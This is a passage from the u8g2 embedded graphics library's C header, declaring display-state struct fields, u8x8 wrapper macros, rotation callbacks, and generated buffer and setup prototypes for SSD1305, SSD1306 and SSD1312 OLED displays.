u8g2_uint_t height;\n  \n  /* this is the clip box for the user to check if a specific box has an intersection */\n  /* use u8g2_IsIntersection from u8g2_intersection.c to test against this intersection */\n  /* actually, this window describes the position of the current page */\n  u8g2_uint_t user_x0;\t/* left corner of the buffer */\n  u8g2_uint_t user_x1;\t/* right corner of the buffer (excluded) */\n  u8g2_uint_t user_y0;\t/* upper edge of the buffer */\n  u8g2_uint_t user_y1;\t/* lower edge of the buffer (excluded) */\n  \n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n  /* clip window */\n  u8g2_uint_t clip_x0;\t/* left corner of the clip window */\n  u8g2_uint_t clip_x1;\t/* right corner of the clip window (excluded) */\n  u8g2_uint_t clip_y0;\t/* upper edge of the clip window */\n  u8g2_uint_t clip_y1;\t/* lower edge of the clip window (excluded) */\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n  \n  \n  /* information about the current font */\n  const uint8_t *font;             /* current font for all text procedures */\n  // removed: const u8g2_kerning_t *kerning;\t\t/* can be NULL */\n  // removed: u8g2_get_kerning_cb get_kerning_cb;\n  \n  u8g2_font_calc_vref_fnptr font_calc_vref;\n  u8g2_font_decode_t font_decode;\t\t/* new font decode structure */\n  u8g2_font_info_t font_info;\t\t\t/* new font info structure */\n\n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n  /* 1 of there is an intersection between user_?? and clip_?? box */\n  uint8_t is_page_clip_window_intersection;\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n\n  uint8_t font_height_mode;\n  int8_t font_ref_ascent;\n  int8_t font_ref_descent;\n  \n  int8_t glyph_x_offset;\t\t/* set by u8g2_GetGlyphWidth as a side effect */\n  \n  uint8_t bitmap_transparency;\t/* black pixels will be treated as transparent (not drawn) */\n\n  uint8_t draw_color;\t\t/* 0: clear pixel, 1: set pixel, modified and restored by font procedures */\n\t\t\t\t\t/* draw_color can be used also directly by the user API */\n\t\t\t\t\t\n\t// the following variable should be renamed to is_buffer_auto_clear\n  uint8_t is_auto_page_clear; \t\t/* set to 0 to disable automatic clear of the buffer in firstPage() and nextPage() */\n  \n};\n\n#define u8g2_GetU8x8(u8g2) ((u8x8_t *)(u8g2))\n//#define u8g2_GetU8x8(u8g2) (&((u8g2)->u8x8))\n\n#ifdef U8X8_WITH_USER_PTR\n#define u8g2_GetUserPtr(u8g2) ((u8g2_GetU8x8(u8g2))->user_ptr)\n#define u8g2_SetUserPtr(u8g2, p) ((u8g2_GetU8x8(u8g2))->user_ptr = (p))\n#endif\n\n// this should be renamed to SetBufferAutoClear \n#define u8g2_SetAutoPageClear(u8g2, mode) ((u8g2)->is_auto_page_clear = (mode))\n\n/*==========================================*/\n/* u8x8 wrapper */\n\n#define u8g2_SetupDisplay(u8g2, display_cb, cad_cb, byte_cb, gpio_and_delay_cb) \\\n  u8x8_Setup(u8g2_GetU8x8(u8g2), (display_cb), (cad_cb), (byte_cb), (gpio_and_delay_cb))\n\n#define u8g2_InitInterface(u8g2) u8x8_InitInterface(u8g2_GetU8x8(u8g2))\n#define u8g2_InitDisplay(u8g2) u8x8_InitDisplay(u8g2_GetU8x8(u8g2))\n#define u8g2_SetPowerSave(u8g2, is_enable) u8x8_SetPowerSave(u8g2_GetU8x8(u8g2), (is_enable))\n#define u8g2_SetFlipMode(u8g2, mode) u8x8_SetFlipMode(u8g2_GetU8x8(u8g2), (mode))\n#define u8g2_SetContrast(u8g2, value) u8x8_SetContrast(u8g2_GetU8x8(u8g2), (value))\n//#define u8g2_ClearDisplay(u8g2) u8x8_ClearDisplay(u8g2_GetU8x8(u8g2))  obsolete, can not be used in all cases\nvoid u8g2_ClearDisplay(u8g2_t *u8g2);\n\n#define u8g2_GetDisplayHeight(u8g2) ((u8g2)->height)\n#define u8g2_GetDisplayWidth(u8g2) ((u8g2)->width)\n#define u8g2_GetDrawColor(u8g2) ((u8g2)->draw_color)\n\n#define u8g2_GetI2CAddress(u8g2)   u8x8_GetI2CAddress(u8g2_GetU8x8(u8g2))\n#define u8g2_SetI2CAddress(u8g2, address) ((u8g2_GetU8x8(u8g2))->i2c_address = (address))\n\n#ifdef U8X8_USE_PINS \n#define u8g2_SetMenuSelectPin(u8g2, val) u8x8_SetMenuSelectPin(u8g2_GetU8x8(u8g2), (val)) \n#define u8g2_SetMenuNextPin(u8g2, val) u8x8_SetMenuNextPin(u8g2_GetU8x8(u8g2), (val))\n#define u8g2_SetMenuPrevPin(u8g2, val) u8x8_SetMenuPrevPin(u8g2_GetU8x8(u8g2), (val))\n#define u8g2_SetMenuHomePin(u8g2, val) u8x8_SetMenuHomePin(u8g2_GetU8x8(u8g2), (val))\n#define u8g2_SetMenuUpPin(u8g2, val) u8x8_SetMenuUpPin(u8g2_GetU8x8(u8g2), (val))\n#define u8g2_SetMenuDownPin(u8g2, val) u8x8_SetMenuDownPin(u8g2_GetU8x8(u8g2), (val))\n#endif\n\n/*==========================================*/\n/* u8g2_setup.c */\n\nvoid u8g2_draw_l90_r0(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir);\n\nextern const u8g2_cb_t u8g2_cb_r0;\nextern const u8g2_cb_t u8g2_cb_r1;\nextern const u8g2_cb_t u8g2_cb_r2;\nextern const u8g2_cb_t u8g2_cb_r3;\nextern const u8g2_cb_t u8g2_cb_mirror;\nextern const u8g2_cb_t u8g2_cb_mirror_vertical;\n\n#define U8G2_R0\t(&u8g2_cb_r0)\n#define U8G2_R1\t(&u8g2_cb_r1)\n#define U8G2_R2\t(&u8g2_cb_r2)\n#define U8G2_R3\t(&u8g2_cb_r3)\n#define U8G2_MIRROR\t(&u8g2_cb_mirror)\n#define U8G2_MIRROR_VERTICAL\t(&u8g2_cb_mirror_vertical)\n/*\n  u8g2:\t\t\tA new, not yet initialized u8g2 memory area\n  buf:\t\t\tMemory area of size tile_buf_height*<width of the display in pixel>\n  tile_buf_height:\tNumber of full lines\n  ll_hvline_cb:\t\tone of:\n    u8g2_ll_hvline_vertical_top_lsb\n    u8g2_ll_hvline_horizontal_right_lsb\n  u8g2_cb\t\t\tU8G2_R0 .. U8G2_R3\n      \n*/\n\nvoid u8g2_SetMaxClipWindow(u8g2_t *u8g2);\nvoid u8g2_SetClipWindow(u8g2_t *u8g2, u8g2_uint_t clip_x0, u8g2_uint_t clip_y0, u8g2_uint_t clip_x1, u8g2_uint_t clip_y1 );\n\nvoid u8g2_SetupBuffer(u8g2_t *u8g2, uint8_t *buf, uint8_t tile_buf_height, u8g2_draw_ll_hvline_cb ll_hvline_cb, const u8g2_cb_t *u8g2_cb);\nvoid u8g2_SetDisplayRotation(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb);\n\nvoid u8g2_SendF(u8g2_t * u8g2, const char *fmt, ...);\n\n/* null device setup */\nvoid u8g2_Setup_null(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\n\n/*==========================================*/\n/* u8g2_d_memory.c generated code start */\nuint8_t *u8g2_m_16_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_255_2_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_255_2_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_255_2_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_9_5_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_9_5_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_9_5_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_5_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_5_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_5_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_16_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_16_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_16_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_12_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_12_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_12_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_10_16_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_10_16_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_10_16_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_16_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_16_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_16_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_20_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_20_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_20_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_20_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_20_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_20_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_13_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_13_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_13_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_6_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_6_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_6_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_6_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_6_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_6_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_2_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_2_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_2_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_12_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_12_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_12_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_5_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_5_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_16_5_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_18_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_18_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_18_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_50_30_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_50_30_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_50_30_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_18_21_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_18_21_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_18_21_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_11_6_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_11_6_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_11_6_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_9_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_9_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_12_9_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_15_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_15_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_15_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_16_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_16_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_16_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_16_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_16_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_16_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_12_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_12_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_24_12_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_13_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_13_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_13_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_20_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_20_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_30_20_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_16_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_16_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_16_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_40_30_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_40_30_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_40_30_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_17_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_17_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_17_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_17_8_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_17_8_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_17_8_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_17_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_17_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_17_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_20_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_20_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_20_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_12_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_12_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_12_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_20_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_20_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_20_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_22_13_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_22_13_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_22_13_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_10_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_10_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_10_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_19_4_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_19_4_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_19_4_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_17_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_17_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_17_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_26_5_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_26_5_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_26_5_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_22_9_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_22_9_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_22_9_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_25_25_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_25_25_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_25_25_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_37_16_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_37_16_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_37_16_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_40_25_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_40_25_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_40_25_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_1_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_1_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_8_1_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_4_1_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_4_1_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_4_1_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_1_1_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_1_1_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_1_1_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_2_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_2_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_20_2_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_7_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_7_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_32_7_f(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_30_1(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_30_2(uint8_t *page_cnt);\nuint8_t *u8g2_m_48_30_f(uint8_t *page_cnt);\n\n/* u8g2_d_memory.c generated code end */\n\n/*==========================================*/\n/* u8g2_d_setup.c generated code start */\nvoid u8g2_Setup_ssd1305_128x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x32_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x32_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x32_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x64_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x64_raystar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x64_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x64_raystar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x64_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_128x64_raystar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x64_raystar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x64_raystar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1305_i2c_128x64_raystar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_2040x16_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_2040x16_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_2040x16_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_alt0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_alt0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x64_alt0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_alt0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_alt0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x64_alt0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1312_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1312_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1312_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1312_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1312_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1312_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_72x40_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_72x40_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_72x40_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_72x40_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_72x40_er_2(u8g2_t 